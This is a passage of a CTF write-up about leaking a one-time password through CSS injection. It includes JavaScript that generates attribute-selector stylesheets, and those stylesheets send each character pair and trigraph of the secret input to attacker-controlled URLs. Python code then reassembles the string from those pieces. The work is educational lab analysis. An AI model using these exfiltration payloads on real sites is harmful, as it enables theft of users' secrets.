<p>The first issue I came across was that only one trigraph was being reported at a time. This was because multiple rules matched (because the OTP contains many trigraphs) but overrode each other’s <code class="language-plaintext highlighter-rouge">background-image</code>. The input can only have one <code class="language-plaintext highlighter-rouge">background-image</code> at a time, so only one background image was being requested from my server.</p>

<p>To solve this, I used CSS variables to avoid multiple rules overriding each other:</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="kd">const</span> <span class="nx">alpha</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</span><span class="dl">'</span>
<span class="kd">let</span> <span class="nx">html</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">&lt;form name=querySelectorAll&gt;&lt;style&gt;input{--_:none;</span><span class="dl">'</span>
 <span class="kd">let</span> <span class="nx">background</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">background:var(--_)</span><span class="dl">'</span>
 <span class="kd">const</span> <span class="nx">vars</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">abcdefghijklmnopqrstuvwxyzá</span><span class="dl">'</span>
 <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">l</span> <span class="k">of</span> <span class="nx">vars</span><span class="p">)</span> <span class="p">{</span>
   <span class="nx">background</span> <span class="o">+=</span> <span class="s2">`,var(--</span><span class="p">${</span><span class="nx">l</span><span class="p">}</span><span class="s2">)`</span>
   <span class="nx">html</span> <span class="o">+=</span> <span class="s2">`--</span><span class="p">${</span><span class="nx">l</span><span class="p">}</span><span class="s2">:none;`</span>
 <span class="p">}</span>
 <span class="nx">html</span> <span class="o">+=</span> <span class="nx">background</span> <span class="o">+</span><span class="dl">'</span><span class="s1">}</span><span class="dl">'</span>
      <span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span><span class="mi">0</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">a</span> <span class="k">of</span> <span class="nx">alpha</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">html</span><span class="o">+=</span><span class="s2">`[value^=</span><span class="p">${</span><span class="nx">a</span><span class="p">}</span><span class="s2">]{--_:url(http://localhost:8000/</span><span class="p">${</span><span class="nx">a</span><span class="p">}</span><span class="s2">)}`</span>
  <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">b</span> <span class="k">of</span> <span class="nx">alpha</span><span class="p">)</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">c</span> <span class="k">of</span> <span class="nx">alpha</span><span class="p">){</span>
       <span class="p">(</span><span class="nx">html</span><span class="o">+=</span><span class="s2">`[value*=</span><span class="p">${</span><span class="nx">a</span><span class="p">}${</span><span class="nx">b</span><span class="p">}${</span><span class="nx">c</span><span class="p">}</span><span class="s2">]{--</span><span class="p">${</span><span class="nx">vars</span><span class="p">[</span><span class="nx">i</span><span class="o">%</span><span class="nx">vars</span><span class="p">.</span><span class="nx">length</span><span class="p">]}</span><span class="s2">:url(http://localhost:8000/</span><span class="p">${</span><span class="nx">a</span><span class="p">}${</span><span class="nx">b</span><span class="p">}${</span><span class="nx">c</span><span class="p">}</span><span class="s2">)}`</span><span class="p">)</span>
<span class="nx">i</span><span class="o">++</span>
    <span class="p">}}</span>
<span class="c1">//location = '/?user=1&amp;page=' + html.slice(0, 6e6)</span>
 <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="mi">6</span><span class="nx">e6</span><span class="o">/</span> <span class="nx">html</span><span class="p">.</span><span class="nx">length</span><span class="p">,</span> <span class="dl">'</span><span class="s1">kept</span><span class="dl">'</span><span class="p">)</span>
<span class="k">await</span> <span class="nx">Deno</span><span class="p">.</span><span class="nx">writeTextFile</span><span class="p">(</span><span class="dl">'</span><span class="s1">heyy.html</span><span class="dl">'</span><span class="p">,</span> <span class="nx">html</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">6</span><span class="nx">e6</span><span class="p">))}</span>
</code></pre></div></div>

<p>Here, there are 27 variables available for now, and the possible trigraphs just rotate through them. I just hoped that if I added enough variables, there wouldn’t be many collisions.</p>

<p>This new version also gets the first character of the string.</p>

<p>Finally, trigraphs started pouring in.</p>

<h3 id="reconstructing-the-triplets">Reconstructing the triplets</h3>

<p>With the trigraphs my server received, I tried to write a script to decode them.</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">first</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">o</span><span class="dl">'</span>
<span class="nx">subseqs</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">uaz mkZ i44 g9F kZM mmO js3 eSb vQL mOL kI8 hi4 hqm lg9 qmk c3g cK1 qD6 rKc sl9 rhd eYe grh nsl fUq fgr tZA dJB tRF l9G hdJ erK kQM skQ gJT qfU eZX beY jdZ qD6 cK1 rKc sl9 rhd eYe grh nsl fUq fgr tZA dJB tRF hdJ l9G erK kQM skQ gJT qfU eZX beY jdZ</span><span class="dl">'</span> <span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">'</span><span class="s1"> </span><span class="dl">'</span><span class="p">)</span>
<span class="nx">next</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">s</span> <span class="k">of</span> <span class="nx">subseqs</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">next</span><span class="p">[</span><span class="nx">s</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">)])</span> <span class="p">{</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">warn</span><span class="p">(</span><span class="dl">'</span><span class="s1">conflict</span><span class="dl">'</span><span class="p">,</span> <span class="nx">s</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">),</span><span class="nx">next</span><span class="p">[</span><span class="nx">s</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">)])</span>
  <span class="p">}</span>
  <span class="nx">next</span><span class="p">[</span><span class="nx">s</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">)]</span> <span class="o">=</span> <span class="nx">s</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
  <span class="nx">next</span><span class="p">[</span><span class="nx">s</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">)]</span> <span class="o">??=</span> <span class="p">[]</span>
  <span class="nx">next</span><span class="p">[</span><span class="nx">s</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">)].</span><span class="nx">push</span><span class="p">(</span><span class="nx">s</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
<span class="p">}</span>
<span class="k">while</span> <span class="p">(</span><span class="kc">true</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">first</span><span class="p">.</span><span class="nx">length</span> <span class="o">&gt;=</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">poss</span> <span class="o">=</span> <span class="nx">next</span><span class="p">[</span><span class="nx">first</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="o">-</span><span class="mi">2</span><span class="p">)]</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">poss</span><span class="p">)</span> <span class="p">{</span>
      <span class="nx">first</span> <span class="o">+=</span> <span class="nx">poss</span>
      <span class="k">continue</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="kd">const</span> <span class="nx">poss</span> <span class="o">=</span> <span class="nx">next</span><span class="p">[</span><span class="nx">first</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)]</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">poss</span> <span class="o">||</span> <span class="nx">poss</span><span class="p">.</span><span class="nx">length</span> <span class="o">===</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="dl">'</span><span class="s1">i give up :(</span><span class="dl">'</span><span class="p">,</span> <span class="nx">first</span><span class="p">)</span>
    <span class="k">break</span>
  <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">poss</span><span class="p">.</span><span class="nx">length</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
      <span class="nx">console</span><span class="p">.</span><span class="nx">warn</span><span class="p">(</span><span class="dl">'</span><span class="s1">ambiguous</span><span class="dl">'</span><span class="p">,</span> <span class="nx">first</span><span class="p">,</span> <span class="nx">poss</span><span class="p">)</span>
    <span class="p">}</span>
    <span class="nx">first</span> <span class="o">+=</span> <span class="nx">poss</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="p">}</span>
</code></pre></div></div>

<p>It builds a map <code class="language-plaintext highlighter-rouge">next</code> of strings to strings. For example, <code class="language-plaintext highlighter-rouge">uaz</code> becomes <code class="language-plaintext highlighter-rouge">ua -&gt; z</code> and <code class="language-plaintext highlighter-rouge">u -&gt; az</code>. The latter is there just in case some trigraphs didn’t make it due to the 6 MB limit, duplicates, or CSS variable collisions, but it’s not great for making certain decisions.</p>

<p>Then, it starts with the first character and tries to build on it using <code class="language-plaintext highlighter-rouge">next</code>. However, it kept failing with <code class="language-plaintext highlighter-rouge">i give up :(</code>, meaning that it reached a point where no trigraph could continue the string.</p>

<p>As it turns out, the three errors—reporting less than half the trigraphs, duplicate trigraphs not being reported, and CSS variable collisions—result in this being extremely lossy and not practical.</p>

<p>So I had two main problems to solve:</p>

<ol>
  <li>How to scrape the OTP in a way that fits under 6 MB and isn’t too lossy?</li>
  <li>How can I reconstruct the OTP from its subsequences?</li>
</ol>

<p>I suspected the answer to question #2 involved graph theory and may not be solvable in polynomial time. However, it was past midnight, so any amount of math hurt my head.</p>

<p>All $62^2$ pairs could easily fit in 6 MB. I could just reliably collect all pairs. Surely even pairs, with $62^2$ of them, would be unlikely to have duplicates in the OTP.</p>

<p>So at 2 am, I asked people on the UCSD CSE server<sup id="fnref:13" role="doc-noteref"><a href="#fn:13" class="footnote" rel="footnote">6</a></sup>, U[CS]D, if they knew any existing algorithms for the problem: given a list of adjacent pairs in a string, reconstruct the string. Assume that pairs are unique.</p>

<p>Since 2 am is still a common time to be awake, several people responded. Apparently, this is a common problem in bioinformatics (probably for reconstructing DNA sequences). There exists this concept called a De Bruijn graph that was related.</p>

<p>They showed me an example of reconstructing the example pairs I gave, and I was convinced. This was the solution to my problem 2.</p>

<p><img src="../images/lactf/css-string-reconstruction.png" alt="Just `string_reconstruction(2, pairs)` can unceremoniously print out the reconstructed string." /></p>

<p>However, their code for this was part of an assignment for a class, so I couldn’t just use their code. But now that I knew of this “De Bruijn graph,” I could just ask ChatGPT.</p>

<blockquote>
  <p>write me python code that reconstructs a string given pairs in the string. assume that the pairs are unique. you may want to use debrujin graph</p>
</blockquote>

<p>Here’s the code it generated:</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">networkx</span> <span class="k">as</span> <span class="n">nx</span>

<span class="k">def</span> <span class="nf">reconstruct_string_from_pairs</span><span class="p">(</span><span class="n">pairs</span><span class="p">):</span>
    <span class="c1"># Create a directed graph
</span>    <span class="n">G</span> <span class="o">=</span> <span class="n">nx</span><span class="p">.</span><span class="n">DiGraph</span><span class="p">()</span>

    <span class="c1"># Iterate through each pair and add edges to the graph
</span>    <span class="k">for</span> <span class="n">pair</span> <span class="ow">in</span> <span class="n">pairs</span><span class="p">:</span>
        <span class="n">prefix</span> <span class="o">=</span> <span class="n">pair</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
        <span class="n">suffix</span> <span class="o">=</span> <span class="n">pair</span><span class="p">[</span><span class="mi">1</span><span class="p">:]</span>
        <span class="n">G</span><span class="p">.</span><span class="n">add_edge</span><span class="p">(</span><span class="n">prefix</span><span class="p">,</span> <span class="n">suffix</span><span class="p">)</span>

    <span class="c1"># Reconstruct the Eulerian path
</span>    <span class="n">eulerian_path</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">nx</span><span class="p">.</span><span class="n">eulerian_path</span><span class="p">(</span><span class="n">G</span><span class="p">))</span>

    <span class="c1"># Reconstruct the string from the Eulerian path
</span>    <span class="n">reconstructed_string</span> <span class="o">=</span> <span class="n">eulerian_path</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="n">pair</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="k">for</span> <span class="n">pair</span> <span class="ow">in</span> <span class="n">eulerian_path</span><span class="p">])</span>

    <span class="k">return</span> <span class="n">reconstructed_string</span>

<span class="c1"># Example usage:
</span><span class="n">pairs</span> <span class="o">=</span> <span class="p">[</span><span class="s">'ATG'</span><span class="p">,</span> <span class="s">'TGG'</span><span class="p">,</span> <span class="s">'TGC'</span><span class="p">,</span> <span class="s">'GTG'</span><span class="p">,</span> <span class="s">'GGC'</span><span class="p">,</span> <span class="s">'GCA'</span><span class="p">]</span>
<span class="n">reconstructed</span> <span class="o">=</span> <span class="n">reconstruct_string_from_pairs</span><span class="p">(</span><span class="n">pairs</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Reconstructed string:"</span><span class="p">,</span> <span class="n">reconstructed</span><span class="p">)</span>
</code></pre></div></div>

<p>Shockingly, the code worked on my pairs. Success!</p>

<h3 id="birthday-paradox-duplicate-pairs-are-more-common-than-i-thought">Birthday paradox: duplicate pairs are more common than I thought</h3>

<p>Except now, I was back to problem 1. It appears that duplicate pairs aren’t as uncommon as I thought: I had fallen victim to the birthday paradox. While I was too lazy to work out the numbers, I just figured that I couldn’t assume pairs were unique anymore.</p>

<p>I wanted to bring back trigraphs. Surely, this algorithm could handle a mix of pairs and trigraphs. However, I eventually realized it would be quite involved to reconstruct a string from some pairs and trigraphs.</p>

<p>The way the algorithm works is,</p>

<ol>
  <li>Creates edges between characters if a pair says one character is followed by another. This helps to show what letters can be chained.</li>
  <li>Find an Eulerian path—a path that uses all the edges (pairs) in the graph. This ensures that every pair is used exactly once.</li>
</ol>

<p>Just by doing this, it can traverse all the edges and find a path that reconstructs the strings by only using each pair once.</p>

<p>Mixing trigraphs and pairs complicates this. Firstly, the function assumes that each node is just a character, so this loses the middle character of a trigraph. Secondly, to make edges between trigraphs and pairs, there will be extra edges that may not be necessarily used (e.g. if a trigraph is not followed by a pair). But an Eulerian path must use all edges, so it gives up if there are edges that aren’t needed.</p>

<p>I decided to just stick with trigraphs, and my reconstruction code ended up looking like this:</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">reconstruct_string_from_pairs</span><span class="p">(</span><span class="n">pairs</span><span class="p">):</span>
    <span class="n">G</span> <span class="o">=</span> <span class="n">nx</span><span class="p">.</span><span class="n">DiGraph</span><span class="p">()</span>

    <span class="k">for</span> <span class="n">pair</span> <span class="ow">in</span> <span class="n">pairs</span><span class="p">:</span>
        <span class="n">G</span><span class="p">.</span><span class="n">add_edge</span><span class="p">(</span><span class="n">pair</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">],</span> <span class="n">pair</span><span class="p">[</span><span class="mi">1</span><span class="p">:],</span> <span class="n">hey</span><span class="o">=</span><span class="n">pair</span><span class="p">)</span>
    <span class="n">eulerian_path</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">nx</span><span class="p">.</span><span class="n">eulerian_path</span><span class="p">(</span><span class="n">G</span><span class="p">))</span>

    <span class="n">reconstructed_string</span> <span class="o">=</span> <span class="n">eulerian_path</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="n">pair</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="k">for</span> <span class="n">pair</span> <span class="ow">in</span> <span class="n">eulerian_path</span><span class="p">])</span>

    <span class="k">return</span> <span class="n">reconstructed_string</span>
</code></pre></div></div>

<p>Nodes are now two characters instead of just one, and edges are drawn between nodes if they’re pairs in the same trigraph.</p>

<p>Turning the path back into a string is buggy. Because nodes have a character in common with their neighbors, the reconstruction ends up looking something like</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vQQii11ssggOOiiddhhhhKKbbGGwweeLLOOQQuuvvIIvvDDVVyyggqqUUtt44BBNN88ZZ66hhSSMMccUUwwOOooYYHHhhXXTThhggIIrrSSZZffPPiibbeett00GGHH11bbRRyy339988EE33ooiiBBIIvv77N
</code></pre></div></div>

<p>But I didn’t feel like fixing it because it felt easier to write code to deduplicate those pairs than to understand how the algorithm worked and debug it.</p>

<p>What about actually collecting those trigraphs? Since I was only using trigraphs for reconstruction, I had to make sure no trigraphs were left behind. How?</p>

<p>Earlier, I mentioned that CSS could do case-insensitive matching too, like <code class="language-plaintext highlighter-rouge">[value*="string" i]</code>. I could almost halve the number of trigraphs by case-insensitively matching only digits and lowercase letters, no uppercase.</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="kd">const</span> <span class="nx">alpha</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</span><span class="dl">'</span>
<span class="kd">const</span> <span class="nx">alphaL</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">0123456789abcdefghijklmnopqrstuvwxyz</span><span class="dl">'</span>
<span class="kd">let</span> <span class="nx">html</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">&lt;form name=querySelectorAll&gt;&lt;style&gt;input{</span><span class="dl">'</span>
 <span class="kd">let</span> <span class="nx">background</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">background:</span><span class="dl">'</span><span class="cm">/*
 for (const a of alpha)
 for (const b of alpha){
   background += `var(--t${a+b}),`
   html += `--t${a+b}:none;`
 }*/</span>
<span class="kd">const</span> <span class="nx">N</span> <span class="o">=</span> <span class="mi">10000</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">N</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
   <span class="nx">background</span> <span class="o">+=</span> <span class="s2">`var(--</span><span class="p">${</span><span class="nx">i</span><span class="p">}</span><span class="s2">,none),`</span>
<span class="c1">//   html += `--${i}:none;`</span>
 <span class="p">}</span>
 <span class="nx">html</span> <span class="o">+=</span> <span class="nx">background</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">+</span><span class="dl">'</span><span class="s1">}</span><span class="dl">'</span>
 <span class="kd">const</span> <span class="nx">check</span> <span class="o">=</span> <span class="nx">s</span> <span class="o">=&gt;</span> <span class="sr">/</span><span class="se">\d</span><span class="sr">/</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">s</span><span class="p">)</span> <span class="p">?</span> <span class="s2">`'</span><span class="p">${</span><span class="nx">s</span><span class="p">}</span><span class="s2">'`</span> <span class="p">:</span> <span class="nx">s</span>
<span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span>
  <span class="kd">let</span> <span class="nx">combos</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Set</span><span class="p">()</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">a</span> <span class="k">of</span> <span class="nx">alpha</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">b</span> <span class="k">of</span> <span class="nx">alpha</span><span class="p">){</span>
  <span class="nx">html</span><span class="o">+=</span><span class="s2">`[value*=</span><span class="p">${</span><span class="nx">check</span><span class="p">(</span><span class="nx">a</span><span class="o">+</span><span class="nx">b</span><span class="p">)}</span><span class="s2">]{--</span><span class="p">${(</span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="o">%</span><span class="nx">N</span><span class="p">}</span><span class="s2">:url(//lc.ussa-say.workers.dev/</span><span class="p">${</span><span class="nx">a</span><span class="o">+</span><span class="nx">b</span><span class="p">}</span><span class="s2">)}`</span>
     <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">c</span> <span class="k">of</span> <span class="nx">alpha</span><span class="p">){</span>
      <span class="nx">combos</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">`</span><span class="p">${</span><span class="nx">a</span><span class="p">}${</span><span class="nx">b</span><span class="p">}${</span><span class="nx">c</span><span class="p">}</span><span class="s2">`</span><span class="p">.</span><span class="nx">toLowerCase</span><span class="p">())</span>
    <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
<span class="nx">combos</span><span class="o">=</span><span class="p">[...</span><span class="nx">combos</span><span class="p">]</span>
 <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="nx">combos</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">--</span><span class="p">;)</span> <span class="p">{</span>
   <span class="kd">const</span> <span class="nx">index</span>  <span class="o">=</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">floor</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span> <span class="o">*</span> <span class="p">(</span><span class="nx">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span>
<span class="p">;[</span><span class="nx">combos</span><span class="p">[</span><span class="nx">i</span> <span class="p">],</span> <span class="nx">combos</span><span class="p">[</span><span class="nx">index</span><span class="p">]]</span><span class="o">=</span><span class="p">[</span><span class="nx">combos</span><span class="p">[</span><span class="nx">index</span> <span class="p">],</span> <span class="nx">combos</span><span class="p">[</span><span class="nx">i</span><span class="p">]]</span>
 <span class="p">}</span>
 <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">combo</span> <span class="k">of</span> <span class="nx">combos</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">html</span><span class="o">+=</span><span class="s2">`[value*=</span><span class="p">${</span><span class="nx">check</span><span class="p">(</span><span class="nx">combo</span><span class="p">)}</span><span class="s2"> i]{--</span><span class="p">${(</span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="o">%</span><span class="nx">N</span><span class="p">}</span><span class="s2">:url(//lc.ussa-say.workers.dev/</span><span class="p">${</span><span class="nx">combo</span><span class="p">}</span><span class="s2">)}`</span>
 <span class="p">}</span>
<span class="nx">html</span> <span class="o">+=</span> <span class="dl">'</span><span class="s1">&lt;/style&gt;&lt;iframe src="//subsection-diana-commissioners-excited.trycloudflare.com/load"&gt;&lt;/iframe&gt;</span><span class="dl">'</span>
 <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="mi">6</span><span class="nx">e6</span><span class="o">/</span> <span class="nx">html</span><span class="p">.</span><span class="nx">length</span><span class="p">,</span> <span class="dl">'</span><span class="s1">kept</span><span class="dl">'</span><span class="p">)</span>
<span class="k">await</span> <span class="nx">Deno</span><span class="p">.</span><span class="nx">writeTextFile</span><span class="p">(</span><span class="dl">'</span><span class="s1">heyy.html</span><span class="dl">'</span><span class="p">,</span> <span class="nx">html</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">6</span><span class="nx">e6</span><span class="p">))}</span>
</code></pre></div></div>

<p>There were many iterations of this script that I skimmed over, mostly because it was just trial and error and brainstorming. This is very close to the final version of my CSS-generating code.</p>

<p>Originally, I was using the first two letters of each trigraph as their CSS variable so there would only be $62^2$ CSS variables. However, since pairs aren’t unique, if there’s a duplicate pair, then their trigraphs will have a variable collision.</p>

<p>However, I could rotate through $N$ CSS variables numbered $0$ through $N - 1$ and assign them to each trigraph. To find some $N$ with a low chance of having collisions, I found a <a href="https://www.dcode.fr/birthday-problem">birthday paradox calculator on dCode</a>. I wanted no one to share the same birthday (CSS variable), and there were 78 people (trigraphs).</p>

<p>With 1000 CSS variables, the probability this can happen is 3.9%. That’s incredibly low, so I should expect a collision most of the time. With 10 000 variables, the probability jumps up to 73%, which is good enough for me. This is why there’s a <code class="language-plaintext highlighter-rouge">const N = 10000</code> line in the script above.</p>

<p>So now I have case-sensitive pairs and case-insensitive trigraphs. The trigraphs can be reconstructed into the OTP, but the OTP is case-sensitive. So I need to make trigraphs uppercase as needed based on the case-sensitive pairs I have.</p>

<h3 id="reconstructing-the-trigraphs">Reconstructing the trigraphs</h3>

<p>The web server that collected the request URLs had by now grown very sophisticated. It keeps track of the paths in a list, then after a second of silence, it assumes all of the trigraphs and pairs have been requested and received.</p>

<p>Then, for each trigraph, it looks up the pairs<sup id="fnref:14" role="doc-noteref"><a href="#fn:14" class="footnote" rel="footnote">7</a></sup> that could constitute it, then uses the letter cases in the pairs to create the trigraph. However, multiple pairs might only differ by case, like <code class="language-plaintext highlighter-rouge">ab</code> and <code class="language-plaintext highlighter-rouge">Ab</code>. In these cases, my server just tries every combination; there usually aren’t that many (maybe up to 16 combinations).</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="kd">const</span> <span class="nx">lowers</span> <span class="o">=</span> <span class="p">{}</span>
      <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">b</span> <span class="k">of</span> <span class="nx">two</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">lowers</span><span class="p">[</span><span class="nx">b</span><span class="p">.</span><span class="nx">toLowerCase</span><span class="p">()]</span> <span class="o">??=</span> <span class="p">[]</span>
        <span class="nx">lowers</span><span class="p">[</span><span class="nx">b</span><span class="p">.</span><span class="nx">toLowerCase</span><span class="p">()].</span><span class="nx">push</span><span class="p">(</span><span class="nx">b</span><span class="p">)</span>
      <span class="p">}</span>
      <span class="c1">// console.log(lowers)</span>
      <span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span><span class="mi">0</span>
      <span class="kd">const</span> <span class="nx">w</span> <span class="o">=</span> <span class="nx">three</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">a</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="kd">const</span> <span class="nx">options</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Set</span><span class="p">()</span>
        <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">lower</span> <span class="k">of</span> <span class="nx">lowers</span><span class="p">[</span><span class="nx">a</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">)]</span><span class="o">??</span><span class="p">[])</span> <span class="p">{</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">const</span>  <span class="nx">upper</span> <span class="k">of</span> <span class="nx">lowers</span><span class="p">[</span><span class="nx">a</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">1</span><span class="p">)]</span><span class="o">??</span><span class="p">[]){</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">lower</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">===</span> <span class="nx">upper</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="p">{</span>
    <span class="nx">options</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">lower</span> <span class="o">+</span> <span class="nx">upper</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
  <span class="p">}</span>
<span class="p">}</span>
        <span class="p">}</span>
        <span class="c1">// const lower = lowers[a.slice(0, 2)]</span>
        <span class="kd">let</span> <span class="nx">w</span> <span class="o">=</span> <span class="p">[...</span><span class="nx">options</span><span class="p">]</span>
        <span class="k">if</span> <span class="p">(</span><span class="nx">w</span><span class="p">.</span><span class="nx">length</span><span class="o">&gt;</span><span class="mi">1</span><span class="p">)</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">multiple options</span><span class="dl">'</span><span class="p">,</span><span class="nx">a</span><span class="p">,</span><span class="nx">w</span><span class="p">)</span>
        <span class="k">if</span> <span class="p">(</span><span class="nx">w</span><span class="p">.</span><span class="nx">length</span><span class="o">===</span><span class="mi">0</span><span class="p">)</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">no options</span><span class="dl">'</span><span class="p">,</span><span class="nx">a</span><span class="p">,)</span>
        <span class="k">return</span> <span class="nx">w</span>
      <span class="p">})</span>
</code></pre></div></div>

<p>Then, for every possible set of cased trigraphs, I reconstruct it using the Python program and print the results to the console.</p>

